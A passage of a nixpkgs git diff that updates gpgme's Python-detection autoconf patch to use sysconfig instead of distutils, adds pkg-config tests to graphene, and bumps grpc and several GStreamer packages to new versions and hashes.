- + + # join all versioning strings, on some systems + # major/minor numbers could be in different list elements +-from distutils.sysconfig import * ++from sysconfig import * + e = get_config_var('VERSION') + if e is not None: + print(e) +@@ -190,7 +269,7 @@ + ac_python_version=$PYTHON_VERSION + else + ac_python_version=`$PYTHON -c "import sys; \ +- print (sys.version[[:3]])"` ++ print ("%d.%d" % sys.version_info[[:2]])"` + fi + fi + +@@ -205,8 +284,8 @@ + ac_python_libdir=`cat<<EOD | $PYTHON - + + # There should be only one +-import distutils.sysconfig +-e = distutils.sysconfig.get_config_var('LIBDIR') ++$IMPORT_SYSCONFIG ++e = sysconfig.get_config_var('LIBDIR') + if e is not None: + print (e) + EOD` +@@ -214,8 +293,8 @@ + # Now, for the library: + ac_python_library=`cat<<EOD | $PYTHON - + +-import distutils.sysconfig +-c = distutils.sysconfig.get_config_vars() ++$IMPORT_SYSCONFIG ++c = sysconfig.get_config_vars() + if 'LDVERSION' in c: + print ('python'+c[['LDVERSION']]) + else: +@@ -230,97 +309,163 @@ + then + # use the official shared library + ac_python_library=`echo "$ac_python_library" | sed "s/^lib//"` +- PYTHON_LDFLAGS="-L$ac_python_libdir -l$ac_python_library" ++ PYTHON_LIBS="-L$ac_python_libdir -l$ac_python_library" + else + # old way: use libpython from python_configdir + ac_python_libdir=`$PYTHON -c \ +- "from distutils.sysconfig import get_python_lib as f; \ ++ "from sysconfig import get_python_lib as f; \ + import os; \ + print (os.path.join(f(plat_specific=1, standard_lib=1), 'config'));"` +- PYTHON_LDFLAGS="-L$ac_python_libdir -lpython$ac_python_version" ++ PYTHON_LIBS="-L$ac_python_libdir -lpython$ac_python_version" + fi + +- if test -z "PYTHON_LDFLAGS"; then +- AC_MSG_ERROR([ ++ if test -z "PYTHON_LIBS"; then ++ AC_MSG_WARN([ + Cannot determine location of your Python DSO. Please check it was installed with +- dynamic libraries enabled, or try setting PYTHON_LDFLAGS by hand. ++ dynamic libraries enabled, or try setting PYTHON_LIBS by hand. + ]) ++ if ! $ax_python_devel_optional; then ++ AC_MSG_ERROR([Giving up]) ++ fi ++ ax_python_devel_found=no ++ PYTHON_VERSION="" + fi ++ fi + fi +- AC_MSG_RESULT([$PYTHON_LDFLAGS]) +- AC_SUBST([PYTHON_LDFLAGS]) + +- # +- # Check for site packages +- # +- AC_MSG_CHECKING([for Python site-packages path]) +- if test -z "$PYTHON_SITE_PKG"; then +- PYTHON_SITE_PKG=`$PYTHON -c "import distutils.sysconfig; \ +- print (distutils.sysconfig.get_python_lib(0,0));"` +- fi +- AC_MSG_RESULT([$PYTHON_SITE_PKG]) +- AC_SUBST([PYTHON_SITE_PKG]) ++ if test $ax_python_devel_found = yes; then ++ AC_MSG_RESULT([$PYTHON_LIBS]) ++ AC_SUBST([PYTHON_LIBS]) + +- # +- # libraries which must be linked in when embedding +- # +- AC_MSG_CHECKING(python extra libraries) +- if test -z "$PYTHON_EXTRA_LIBS"; then +- PYTHON_EXTRA_LIBS=`$PYTHON -c "import distutils.sysconfig; \ +- conf = distutils.sysconfig.get_config_var; \ ++ # ++ # Check for site packages ++ # ++ AC_MSG_CHECKING([for Python site-packages path]) ++ if test -z "$PYTHON_SITE_PKG"; then ++ if test "$IMPORT_SYSCONFIG" = "import sysconfig"; then ++ PYTHON_SITE_PKG=`$PYTHON -c " ++$IMPORT_SYSCONFIG; ++if hasattr(sysconfig, 'get_default_scheme'): ++ scheme = sysconfig.get_default_scheme() ++else: ++ scheme = sysconfig._get_default_scheme() ++if scheme == 'posix_local': ++ # Debian's default scheme installs to /usr/local/ but we want to find headers in /usr/ ++ scheme = 'posix_prefix' ++prefix = '$prefix' ++if prefix == 'NONE': ++ prefix = '$ac_default_prefix' ++sitedir = sysconfig.get_path('purelib', scheme, vars={'base': prefix}) ++print(sitedir)"` ++ else ++ # distutils.sysconfig way ++ PYTHON_SITE_PKG=`$PYTHON -c "$IMPORT_SYSCONFIG; \ ++ print (sysconfig.get_python_lib(0,0));"` ++ fi ++ fi ++ AC_MSG_RESULT([$PYTHON_SITE_PKG]) ++ AC_SUBST([PYTHON_SITE_PKG]) ++ ++ # ++ # Check for platform-specific site packages ++ # ++ AC_MSG_CHECKING([for Python platform specific site-packages path]) ++ if test -z "$PYTHON_PLATFORM_SITE_PKG"; then ++ if test "$IMPORT_SYSCONFIG" = "import sysconfig"; then ++ PYTHON_PLATFORM_SITE_PKG=`$PYTHON -c " ++$IMPORT_SYSCONFIG; ++if hasattr(sysconfig, 'get_default_scheme'): ++ scheme = sysconfig.get_default_scheme() ++else: ++ scheme = sysconfig._get_default_scheme() ++if scheme == 'posix_local': ++ # Debian's default scheme installs to /usr/local/ but we want to find headers in /usr/ ++ scheme = 'posix_prefix' ++prefix = '$prefix' ++if prefix == 'NONE': ++ prefix = '$ac_default_prefix' ++sitedir = sysconfig.get_path('platlib', scheme, vars={'platbase': prefix}) ++print(sitedir)"` ++ else ++ # distutils.sysconfig way ++ PYTHON_PLATFORM_SITE_PKG=`$PYTHON -c "$IMPORT_SYSCONFIG; \ ++ print (sysconfig.get_python_lib(1,0));"` ++ fi ++ fi ++ AC_MSG_RESULT([$PYTHON_PLATFORM_SITE_PKG]) ++ AC_SUBST([PYTHON_PLATFORM_SITE_PKG]) ++ ++ # ++ # libraries which must be linked in when embedding ++ # ++ AC_MSG_CHECKING(python extra libraries) ++ if test -z "$PYTHON_EXTRA_LIBS"; then ++ PYTHON_EXTRA_LIBS=`$PYTHON -c "$IMPORT_SYSCONFIG; \ ++ conf = sysconfig.get_config_var; \ + print (conf('LIBS') + ' ' + conf('SYSLIBS'))"` +- fi +- AC_MSG_RESULT([$PYTHON_EXTRA_LIBS]) +- AC_SUBST(PYTHON_EXTRA_LIBS) ++ fi ++ AC_MSG_RESULT([$PYTHON_EXTRA_LIBS]) ++ AC_SUBST(PYTHON_EXTRA_LIBS) + +- # +- # linking flags needed when embedding +- # +- AC_MSG_CHECKING(python extra linking flags) +- if test -z "$PYTHON_EXTRA_LDFLAGS"; then +- PYTHON_EXTRA_LDFLAGS=`$PYTHON -c "import distutils.sysconfig; \ +- conf = distutils.sysconfig.get_config_var; \ ++ # ++ # linking flags needed when embedding ++ # ++ AC_MSG_CHECKING(python extra linking flags) ++ if test -z "$PYTHON_EXTRA_LDFLAGS"; then ++ PYTHON_EXTRA_LDFLAGS=`$PYTHON -c "$IMPORT_SYSCONFIG; \ ++ conf = sysconfig.get_config_var; \ + print (conf('LINKFORSHARED'))"` +- fi +- AC_MSG_RESULT([$PYTHON_EXTRA_LDFLAGS]) +- AC_SUBST(PYTHON_EXTRA_LDFLAGS) ++ # Hack for macos, it sticks this in here. ++ PYTHON_EXTRA_LDFLAGS=`echo $PYTHON_EXTRA_LDFLAGS | sed 's/CoreFoundation.*$/CoreFoundation/'` ++ fi ++ AC_MSG_RESULT([$PYTHON_EXTRA_LDFLAGS]) ++ AC_SUBST(PYTHON_EXTRA_LDFLAGS) + +- # +- # final check to see if everything compiles alright +- # +- AC_MSG_CHECKING([consistency of all components of python development environment]) +- # save current global flags +- ac_save_LIBS="$LIBS" +- ac_save_CPPFLAGS="$CPPFLAGS" +- LIBS="$ac_save_LIBS $PYTHON_LDFLAGS $PYTHON_EXTRA_LDFLAGS $PYTHON_EXTRA_LIBS" +- CPPFLAGS="$ac_save_CPPFLAGS $PYTHON_CPPFLAGS" +- AC_LANG_PUSH([C]) +- AC_LINK_IFELSE([ ++ # ++ # final check to see if everything compiles alright ++ # ++ AC_MSG_CHECKING([consistency of all components of python development environment]) ++ # save current global flags ++ ac_save_LIBS="$LIBS" ++ ac_save_LDFLAGS="$LDFLAGS" ++ ac_save_CPPFLAGS="$CPPFLAGS" ++ LIBS="$ac_save_LIBS $PYTHON_LIBS $PYTHON_EXTRA_LIBS" ++ LDFLAGS="$ac_save_LDFLAGS $PYTHON_EXTRA_LDFLAGS" ++ CPPFLAGS="$ac_save_CPPFLAGS $PYTHON_CPPFLAGS" ++ AC_LANG_PUSH([C]) ++ AC_LINK_IFELSE([ + AC_LANG_PROGRAM([[#include <Python.h>]], + [[Py_Initialize();]]) + ],[pythonexists=yes],[pythonexists=no]) +- AC_LANG_POP([C]) +- # turn back to default flags +- CPPFLAGS="$ac_save_CPPFLAGS" +- LIBS="$ac_save_LIBS" ++ AC_LANG_POP([C]) ++ # turn back to default flags ++ CPPFLAGS="$ac_save_CPPFLAGS" ++ LIBS="$ac_save_LIBS" ++ LDFLAGS="$ac_save_LDFLAGS" + +- AC_MSG_RESULT([$pythonexists]) ++ AC_MSG_RESULT([$pythonexists]) + +- if test ! "x$pythonexists" = "xyes"; then +- AC_MSG_WARN([ ++ if test ! "x$pythonexists" = "xyes"; then ++ AC_MSG_WARN([ + Could not link test program to Python. Maybe the main Python library has been + installed in some non-standard library path. If so, pass it to configure, +- via the LDFLAGS environment variable. +- Example: ./configure LDFLAGS="-L/usr/non-standard-path/python/lib" ++ via the LIBS environment variable. ++ Example: ./configure LIBS="-L/usr/non-standard-path/python/lib" + ============================================================================ ++ ERROR! + You probably have to install the development version of the Python package + for your distribution. The exact name of this package varies among them. + ============================================================================ +- ]) +- PYTHON_VERSION="" ++ ]) ++ if ! $ax_python_devel_optional; then ++ AC_MSG_ERROR([Giving up]) ++ fi ++ ax_python_devel_found=no ++ PYTHON_VERSION="" ++ fi + fi + + # + # all done! + # +-]) ++]) +\ No newline at end of file +diff --git a/m4/python.m4 b/m4/python.m4 +--- a/m4/python.m4 ++++ b/m4/python.m4 +@@ -41,7 +41,7 @@ + m4_define_default([_AM_PYTHON_INTERPRETER_LIST], + [python2 python2.7 dnl + python dnl +- python3 python3.10 python3.9 python3.8 python3.7 python3.6 python3.5 python3.4 ++ python3 python3.12 python3.11 python3.10 python3.9 python3.8 python3.7 python3.6 python3.5 python3.4 + ]) + + AC_ARG_VAR([PYTHON], [the Python interpreter]) + diff --git a/pkgs/development/libraries/gpgme/python-310-detection-without-distutils.patch b/pkgs/development/libraries/gpgme/python-310-detection-without-distutils.patch deleted file mode 100644 index e0eea9ff04294..0000000000000 --- a/pkgs/development/libraries/gpgme/python-310-detection-without-distutils.patch +++ /dev/null @@ -1,273 +0,0 @@ -diff --git a/m4/ax_python_devel.m4 b/m4/ax_python_devel.m4 ---- a/m4/ax_python_devel.m4 -+++ b/m4/ax_python_devel.m4 -@@ -1,5 +1,5 @@ - # =========================================================================== --# https://www.gnu.org/software/autoconf-archive/ax_python_devel.html -+# https://www.gnu.org/software/autoconf-archive/ax_python_devel.html - # =========================================================================== - # - # SYNOPSIS -@@ -12,8 +12,8 @@ - # in your configure.ac. - # - # This macro checks for Python and tries to get the include path to --# 'Python.h'. It provides the $(PYTHON_CPPFLAGS) and $(PYTHON_LDFLAGS) --# output variables. It also exports $(PYTHON_EXTRA_LIBS) and -+# 'Python.h'. It provides the $(PYTHON_CPPFLAGS) and $(PYTHON_LIBS) output -+# variables. It also exports $(PYTHON_EXTRA_LIBS) and - # $(PYTHON_EXTRA_LDFLAGS) for embedding Python in your code. - # - # You can search for some particular version of Python by passing a -@@ -67,7 +67,7 @@ - # modified version of the Autoconf Macro, you may extend this special - # exception to the GPL to apply to your modified version as well. - --#serial 17 -+#serial 23 - - AU_ALIAS([AC_PYTHON_DEVEL], [AX_PYTHON_DEVEL]) - AC_DEFUN([AX_PYTHON_DEVEL],[ -@@ -99,7 +99,7 @@ - This version of the AC@&t@_PYTHON_DEVEL macro - doesn't work properly with versions of Python before - 2.1.0. You may need to re-run configure, setting the --variables PYTHON_CPPFLAGS, PYTHON_LDFLAGS, PYTHON_SITE_PKG, -+variables PYTHON_CPPFLAGS, PYTHON_LIBS, PYTHON_SITE_PKG, - PYTHON_EXTRA_LIBS and PYTHON_EXTRA_LDFLAGS by hand. - Moreover, to disable this check, set PYTHON_NOVERSIONCHECK - to something else than an empty string. -@@ -135,16 +135,25 @@ - # - # Check if you have distutils, else fail - # -- AC_MSG_CHECKING([for the distutils Python package]) -- ac_distutils_result=`$PYTHON -c "import distutils" 2>&1` -- if test -z "$ac_distutils_result"; then -+ AC_MSG_CHECKING([for the sysconfig Python package]) -+ ac_sysconfig_result=`$PYTHON -c "import sysconfig" 2>&1` -+ if test $? -eq 0; then - AC_MSG_RESULT([yes]) -+ IMPORT_SYSCONFIG="import sysconfig" - else - AC_MSG_RESULT([no]) -- AC_MSG_ERROR([cannot import Python module "distutils". -+ -+ AC_MSG_CHECKING([for the distutils Python package]) -+ ac_sysconfig_result=`$PYTHON -c "from distutils import sysconfig" 2>&1` -+ if test $? -eq 0; then -+ AC_MSG_RESULT([yes]) -+ IMPORT_SYSCONFIG="from distutils import sysconfig" -+ else -+ AC_MSG_ERROR([cannot import Python module "distutils". - Please check your Python installation. The error was: --$ac_distutils_result]) -- PYTHON_VERSION="" -+$ac_sysconfig_result]) -+ PYTHON_VERSION="" -+ fi - fi - - # -@@ -152,10 +161,19 @@ - # - AC_MSG_CHECKING([for Python include path]) - if test -z "$PYTHON_CPPFLAGS"; then -- python_path=`$PYTHON -c "import distutils.sysconfig; \ -- print (distutils.sysconfig.get_python_inc ());"` -- plat_python_path=`$PYTHON -c "import distutils.sysconfig; \ -- print (distutils.sysconfig.get_python_inc (plat_specific=1));"` -+ if test "$IMPORT_SYSCONFIG" = "import sysconfig"; then -+ # sysconfig module has different functions -+ python_path=`$PYTHON -c "$IMPORT_SYSCONFIG; \ -+ print (sysconfig.get_path ('include'));"` -+ plat_python_path=`$PYTHON -c "$IMPORT_SYSCONFIG; \ -+ print (sysconfig.get_path ('platinclude'));"` -+ else -+ # old distutils way -+ python_path=`$PYTHON -c "$IMPORT_SYSCONFIG; \ -+ print (sysconfig.get_python_inc ());"` -+ plat_python_path=`$PYTHON -c "$IMPORT_SYSCONFIG; \ -+ print (sysconfig.get_python_inc (plat_specific=1));"` -+ fi - if test -n "${python_path}"; then - if test "${plat_python_path}" != "${python_path}"; then - python_path="-I$python_path -I$plat_python_path" -@@ -172,14 +190,14 @@ - # Check for Python library path - # - AC_MSG_CHECKING([for Python library path]) -- if test -z "$PYTHON_LDFLAGS"; then -+ if test -z "$PYTHON_LIBS"; then - # (makes two attempts to ensure we've got a version number - # from the interpreter) - ac_python_version=`cat<<EOD | $PYTHON - - - # join all versioning strings, on some systems - # major/minor numbers could be in different list elements --from distutils.sysconfig import * -+from sysconfig import * - e = get_config_var('VERSION') - if e is not None: - print(e) -@@ -197,7 +215,7 @@ - # Make the versioning information available to the compiler - - # JW: We don't need it and it interferes with the hack -- # to detect multiple Pyhton versions -+ # to detect multiple Python versions - #AC_DEFINE_UNQUOTED([HAVE_PYTHON], ["$ac_python_version"], - # [If available, contains the Python version number currently in use.]) - -@@ -205,8 +223,8 @@ - ac_python_libdir=`cat<<EOD | $PYTHON - - - # There should be only one --import distutils.sysconfig --e = distutils.sysconfig.get_config_var('LIBDIR') -+$IMPORT_SYSCONFIG -+e = sysconfig.get_config_var('LIBDIR') - if e is not None: - print (e) - EOD` -@@ -214,8 +232,8 @@ - # Now, for the library: - ac_python_library=`cat<<EOD | $PYTHON - - --import distutils.sysconfig --c = distutils.sysconfig.get_config_vars() -+$IMPORT_SYSCONFIG -+c = sysconfig.get_config_vars() - if 'LDVERSION' in c: - print ('python'+c[['LDVERSION']]) - else: -@@ -230,44 +248,67 @@ - then - # use the official shared library - ac_python_library=`echo "$ac_python_library" | sed "s/^lib//"` -- PYTHON_LDFLAGS="-L$ac_python_libdir -l$ac_python_library" -+ PYTHON_LIBS="-L$ac_python_libdir -l$ac_python_library" - else - # old way: use libpython from python_configdir - ac_python_libdir=`$PYTHON -c \ -- "from distutils.sysconfig import get_python_lib as f; \ -+ "from sysconfig import get_python_lib as f; \ - import os; \ - print (os.path.join(f(plat_specific=1, standard_lib=1), 'config'));"` -- PYTHON_LDFLAGS="-L$ac_python_libdir -lpython$ac_python_version" -+ PYTHON_LIBS="-L$ac_python_libdir -lpython$ac_python_version" - fi - -- if test -z "PYTHON_LDFLAGS"; then -+ if test -z "PYTHON_LIBS"; then - AC_MSG_ERROR([ - Cannot determine location of your Python DSO. Please check it was installed with -- dynamic libraries enabled, or try setting PYTHON_LDFLAGS by hand. -+ dynamic libraries enabled, or try setting PYTHON_LIBS by hand. - ]) - fi - fi -- AC_MSG_RESULT([$PYTHON_LDFLAGS]) -- AC_SUBST([PYTHON_LDFLAGS]) -+ AC_MSG_RESULT([$PYTHON_LIBS]) -+ AC_SUBST([PYTHON_LIBS]) - - # - # Check for site packages - # - AC_MSG_CHECKING([for Python site-packages path]) - if test -z "$PYTHON_SITE_PKG"; then -- PYTHON_SITE_PKG=`$PYTHON -c "import distutils.sysconfig; \ -- print (distutils.sysconfig.get_python_lib(0,0));"` -+ if test "$IMPORT_SYSCONFIG" = "import sysconfig"; then -+ PYTHON_SITE_PKG=`$PYTHON -c "$IMPORT_SYSCONFIG; \ -+ print (sysconfig.get_path('purelib'));"` -+ else -+ # distutils.sysconfig way -+ PYTHON_SITE_PKG=`$PYTHON -c "$IMPORT_SYSCONFIG; \ -+ print (sysconfig.get_python_lib(0,0));"` -+ fi - fi - AC_MSG_RESULT([$PYTHON_SITE_PKG]) - AC_SUBST([PYTHON_SITE_PKG]) - -+ # -+ # Check for platform-specific site packages -+ # -+ AC_MSG_CHECKING([for Python platform specific site-packages path]) -+ if test -z "$PYTHON_SITE_PKG"; then -+ if test "$IMPORT_SYSCONFIG" = "import sysconfig"; then -+ PYTHON_PLATFORM_SITE_PKG=`$PYTHON -c "$IMPORT_SYSCONFIG; \ -+ print (sysconfig.get_path('platlib'));"` -+ else -+ # distutils.sysconfig way -+ PYTHON_PLATFORM_SITE_PKG=`$PYTHON -c "$IMPORT_SYSCONFIG; \ -+ print (sysconfig.get_python_lib(1,0));"` -+ fi -+ fi -+ AC_MSG_RESULT([$PYTHON_PLATFORM_SITE_PKG]) -+ AC_SUBST([PYTHON_PLATFORM_SITE_PKG]) -+ - # - # libraries which must be linked in when embedding - # - AC_MSG_CHECKING(python extra libraries) - if test -z "$PYTHON_EXTRA_LIBS"; then -- PYTHON_EXTRA_LIBS=`$PYTHON -c "import distutils.sysconfig; \ -- conf = distutils.sysconfig.get_config_var; \ -+ PYTHON_EXTRA_LIBS=`$PYTHON -c "$IMPORT_SYSCONFIG; \ -+ conf = sysconfig.get_config_var; \ - print (conf('LIBS') + ' ' + conf('SYSLIBS'))"` - fi - AC_MSG_RESULT([$PYTHON_EXTRA_LIBS]) -@@ -278,8 +319,8 @@ - # - AC_MSG_CHECKING(python extra linking flags) - if test -z "$PYTHON_EXTRA_LDFLAGS"; then -- PYTHON_EXTRA_LDFLAGS=`$PYTHON -c "import distutils.sysconfig; \ -- conf = distutils.sysconfig.get_config_var; \ -+ PYTHON_EXTRA_LDFLAGS=`$PYTHON -c "$IMPORT_SYSCONFIG; \ -+ conf = sysconfig.get_config_var; \ - print (conf('LINKFORSHARED'))"` - fi - AC_MSG_RESULT([$PYTHON_EXTRA_LDFLAGS]) -@@ -291,8 +332,10 @@ - AC_MSG_CHECKING([consistency of all components of python development environment]) - # save current global flags - ac_save_LIBS="$LIBS" -+ ac_save_LDFLAGS="$LDFLAGS" - ac_save_CPPFLAGS="$CPPFLAGS" -- LIBS="$ac_save_LIBS $PYTHON_LDFLAGS $PYTHON_EXTRA_LDFLAGS $PYTHON_EXTRA_LIBS" -+ LIBS="$ac_save_LIBS $PYTHON_LIBS $PYTHON_EXTRA_LIBS $PYTHON_EXTRA_LIBS" -+ LDFLAGS="$ac_save_LDFLAGS $PYTHON_EXTRA_LDFLAGS" - CPPFLAGS="$ac_save_CPPFLAGS $PYTHON_CPPFLAGS" - AC_LANG_PUSH([C]) - AC_LINK_IFELSE([ -@@ -303,15 +346,17 @@ - # turn back to default flags - CPPFLAGS="$ac_save_CPPFLAGS" - LIBS="$ac_save_LIBS" -+ LDFLAGS="$ac_save_LDFLAGS" - - AC_MSG_RESULT([$pythonexists]) - - if test ! "x$pythonexists" = "xyes"; then -+ # gpgme: only warn here, no error, as we are looking for multiple versions - AC_MSG_WARN([ - Could not link test program to Python. Maybe the main Python library has been - installed in some non-standard library path. If so, pass it to configure, -- via the LDFLAGS environment variable. -- Example: ./configure LDFLAGS="-L/usr/non-standard-path/python/lib" -+ via the LIBS environment variable. -+ Example: ./configure LIBS="-L/usr/non-standard-path/python/lib" - ============================================================================ - You probably have to install the development version of the Python package - for your distribution. The exact name of this package varies among them. -@@ -323,4 +368,4 @@ - # - # all done! - # --]) -+]) -\ No newline at end of file - diff --git a/pkgs/development/libraries/graphene/default.nix b/pkgs/development/libraries/graphene/default.nix index 23b617d4a6100..e5dfba0aa4f5b 100644 --- a/pkgs/development/libraries/graphene/default.nix +++ b/pkgs/development/libraries/graphene/default.nix @@ -19,9 +19,10 @@ , gobject-introspection , withIntrospection ? lib.meta.availableOn stdenv.hostPlatform gobject-introspection && stdenv.hostPlatform.emulatorAvailable buildPackages , makeWrapper +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "graphene"; version = "1.10.8"; @@ -31,8 +32,8 @@ stdenv.mkDerivation rec { src = fetchFromGitHub { owner = "ebassi"; - repo = pname; - rev = version; + repo = finalAttrs.pname; + rev = finalAttrs.version; sha256 = "P6JQhSktzvyMHatP/iojNGXPmcsxsFxdYerXzS23ojI="; }; @@ -109,6 +110,9 @@ stdenv.mkDerivation rec { passthru = { tests = { installedTests = nixosTests.installed-tests.graphene; + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; }; updateScript = nix-update-script { }; @@ -120,5 +124,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = teams.gnome.members ++ (with maintainers; [ ]); platforms = platforms.unix; + pkgConfigModules = [ "graphene-1.0" "graphene-gobject-1.0" ]; }; -} +}) diff --git a/pkgs/development/libraries/grpc/default.nix b/pkgs/development/libraries/grpc/default.nix index 1110764575e3a..f6dec8b7b1b4c 100644 --- a/pkgs/development/libraries/grpc/default.nix +++ b/pkgs/development/libraries/grpc/default.nix @@ -21,7 +21,7 @@ stdenv.mkDerivation rec { pname = "grpc"; - version = "1.61.0"; # N.B: if you change this, please update: + version = "1.61.1"; # N.B: if you change this, please update: # pythonPackages.grpcio-tools # pythonPackages.grpcio-status @@ -29,7 +29,7 @@ stdenv.mkDerivation rec { owner = "grpc"; repo = "grpc"; rev = "v${version}"; - hash = "sha256-NLxcGFQ1F5RLoSFC0XYMjvGXkSWc/vLzgtk5qsOndEo="; + hash = "sha256-vrLkiNnsW6IpZNGhs6iZgEhdlV9Qpg8PLMDG2BKY2wo="; fetchSubmodules = true; }; @@ -40,12 +40,6 @@ stdenv.mkDerivation rec { url = "https://github.com/lopsided98/grpc/commit/a9b917666234f5665c347123d699055d8c2537b2.patch"; hash = "sha256-Lm0GQsz/UjBbXXEE14lT0dcRzVmCKycrlrdBJj+KLu8="; }) - (fetchpatch { - # Fix compatibility with Abseil 202401. Remove with the next release. - url = "https://github.com/grpc/grpc/commit/bc044174401a0842b36b8682936fc93b5041cf88.patch"; - hash = "sha256-VKAuPtLqsR2dmrpKuFXq2HIhuDxPJVSH2w1G00N07RI="; - excludes = [ "src/core/lib/transport/message.cc" ]; - }) ]; nativeBuildInputs = [ cmake pkg-config ] diff --git a/pkgs/development/libraries/gssdp/default.nix b/pkgs/development/libraries/gssdp/default.nix index 14bac6c2fec22..939fb0e7b4266 100644 --- a/pkgs/development/libraries/gssdp/default.nix +++ b/pkgs/development/libraries/gssdp/default.nix @@ -26,6 +26,12 @@ stdenv.mkDerivation rec { sha256 = "VySWVDV9PVGxQDFRaaJMBnHeeqUsb3XIxcmr1Ao1JSk="; }; + strictDeps = true; + + depsBuildBuild = [ + pkg-config + ]; + nativeBuildInputs = [ meson ninja diff --git a/pkgs/development/libraries/gstreamer/bad/default.nix b/pkgs/development/libraries/gstreamer/bad/default.nix index 7706975ca0566..bee80e03289ce 100644 --- a/pkgs/development/libraries/gstreamer/bad/default.nix +++ b/pkgs/development/libraries/gstreamer/bad/default.nix @@ -109,13 +109,13 @@ stdenv.mkDerivation rec { pname = "gst-plugins-bad"; - version = "1.22.8"; + version = "1.22.9"; outputs = [ "out" "dev" ]; src = fetchurl { url = "https://gstreamer.freedesktop.org/src/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-RYeD+CNgaJkePilu3Wccjt24vm+skzwcLhUDRihk6g8="; + hash = "sha256-G8ZdD9X1OjY2Vk79P88xjD7c3sOcQQmlA8H8ggOECh0="; }; patches = [ diff --git a/pkgs/development/libraries/gstreamer/base/default.nix b/pkgs/development/libraries/gstreamer/base/default.nix index c68693681ee13..066ffbc1308e0 100644 --- a/pkgs/development/libraries/gstreamer/base/default.nix +++ b/pkgs/development/libraries/gstreamer/base/default.nix @@ -45,7 +45,7 @@ stdenv.mkDerivation (finalAttrs: { pname = "gst-plugins-base"; - version = "1.22.8"; + version = "1.22.9"; outputs = [ "out" "dev" ]; @@ -53,7 +53,7 @@ stdenv.mkDerivation (finalAttrs: { inherit (finalAttrs) pname version; in fetchurl { url = "https://gstreamer.freedesktop.org/src/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-62eS5cc8be+5FZw26m5LeKL4r2USZ4tL07AsjS1JKs8="; + hash = "sha256-+sPg3S2Ok3A4izS/jCG4nV9jvDz8Es1/3I/GwcugMzQ="; }; strictDeps = true; diff --git a/pkgs/development/libraries/gstreamer/core/default.nix b/pkgs/development/libraries/gstreamer/core/default.nix index 9979184b089a8..68a6acdc83b17 100644 --- a/pkgs/development/libraries/gstreamer/core/default.nix +++ b/pkgs/development/libraries/gstreamer/core/default.nix @@ -24,7 +24,7 @@ stdenv.mkDerivation (finalAttrs: { pname = "gstreamer"; - version = "1.22.8"; + version = "1.22.9"; outputs = [ "bin" @@ -36,7 +36,7 @@ stdenv.mkDerivation (finalAttrs: { inherit (finalAttrs) pname version; in fetchurl { url = "https://gstreamer.freedesktop.org/src/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-rU49sXcRObHbF7Gvp8BdsIOuAQC9TaJEtx8WLczkG/w="; + hash = "sha256-HnEk00fozcgPCOwdNwwgG+UTACrxECuyDoPFJ5y0jr0="; }; depsBuildBuild = [ diff --git a/pkgs/development/libraries/gstreamer/devtools/default.nix b/pkgs/development/libraries/gstreamer/devtools/default.nix index 6ce4723b5a325..343f161cc3d48 100644 --- a/pkgs/development/libraries/gstreamer/devtools/default.nix +++ b/pkgs/development/libraries/gstreamer/devtools/default.nix @@ -17,11 +17,11 @@ stdenv.mkDerivation rec { pname = "gst-devtools"; - version = "1.22.8"; + version = "1.22.9"; src = fetchurl { url = "https://gstreamer.freedesktop.org/src/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-zWNAVvyxbQNbPfWVPsha6L1Wxo8pkgtyDvkgynHqdqc="; + hash = "sha256-AuKUALROnMYDqmRE3uVya1ftq+9kVebQkh/+1vE4QO4="; }; outputs = [ diff --git a/pkgs/development/libraries/gstreamer/ges/default.nix b/pkgs/development/libraries/gstreamer/ges/default.nix index 317fc4e537286..bf5dddf5a7320 100644 --- a/pkgs/development/libraries/gstreamer/ges/default.nix +++ b/pkgs/development/libraries/gstreamer/ges/default.nix @@ -18,7 +18,7 @@ stdenv.mkDerivation rec { pname = "gst-editing-services"; - version = "1.22.8"; + version = "1.22.9"; outputs = [ "out" @@ -27,7 +27,7 @@ stdenv.mkDerivation rec { src = fetchurl { url = "https://gstreamer.freedesktop.org/src/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-0dXnXhkOsL4/1JQJ5Bo6qOaM+03qpzU0iFVGdJVs0d8="; + hash = "sha256-NVOtOALczeDA7xRhiBrNm1W934rfdR3ky1G3+MtQRA0="; }; nativeBuildInputs = [ diff --git a/pkgs/development/libraries/gstreamer/good/default.nix b/pkgs/development/libraries/gstreamer/good/default.nix index 6bea243146953..1935061e3c4b1 100644 --- a/pkgs/development/libraries/gstreamer/good/default.nix +++ b/pkgs/development/libraries/gstreamer/good/default.nix @@ -54,13 +54,13 @@ assert raspiCameraSupport -> (stdenv.isLinux && stdenv.isAarch32); stdenv.mkDerivation rec { pname = "gst-plugins-good"; - version = "1.22.8"; + version = "1.22.9"; outputs = [ "out" "dev" ]; src = fetchurl { url = "https://gstreamer.freedesktop.org/src/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-4wW58H9SdDykgdoKTgx2w179YK2vGwaU6zuwIeITfjk="; + hash = "sha256-JpWfz+v/9jfU6gjvQDFrrzG2G7dymCCwaE6ADDoUeLY="; }; strictDeps = true; diff --git a/pkgs/development/libraries/gstreamer/libav/default.nix b/pkgs/development/libraries/gstreamer/libav/default.nix index f3dfac82c799a..ae54995a1c3e2 100644 --- a/pkgs/development/libraries/gstreamer/libav/default.nix +++ b/pkgs/development/libraries/gstreamer/libav/default.nix @@ -18,11 +18,11 @@ stdenv.mkDerivation rec { pname = "gst-libav"; - version = "1.22.8"; + version = "1.22.9"; src = fetchurl { url = "https://gstreamer.freedesktop.org/src/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-vjk0m8B6tM29ml/W6phIxgHHVguloFd61SALg71CSYE="; + hash = "sha256-GS99J9IcHnxywzmiZHqbDCR/7cYupQKRFfjD4i67h9g="; }; outputs = [ "out" "dev" ]; diff --git a/pkgs/development/libraries/gstreamer/rtsp-server/default.nix b/pkgs/development/libraries/gstreamer/rtsp-server/default.nix index 6b0dfcc8598f1..b49da94955e3a 100644 --- a/pkgs/development/libraries/gstreamer/rtsp-server/default.nix +++ b/pkgs/development/libraries/gstreamer/rtsp-server/default.nix @@ -15,11 +15,11 @@ stdenv.mkDerivation rec { pname = "gst-rtsp-server"; - version = "1.22.8"; + version = "1.22.9"; src = fetchurl 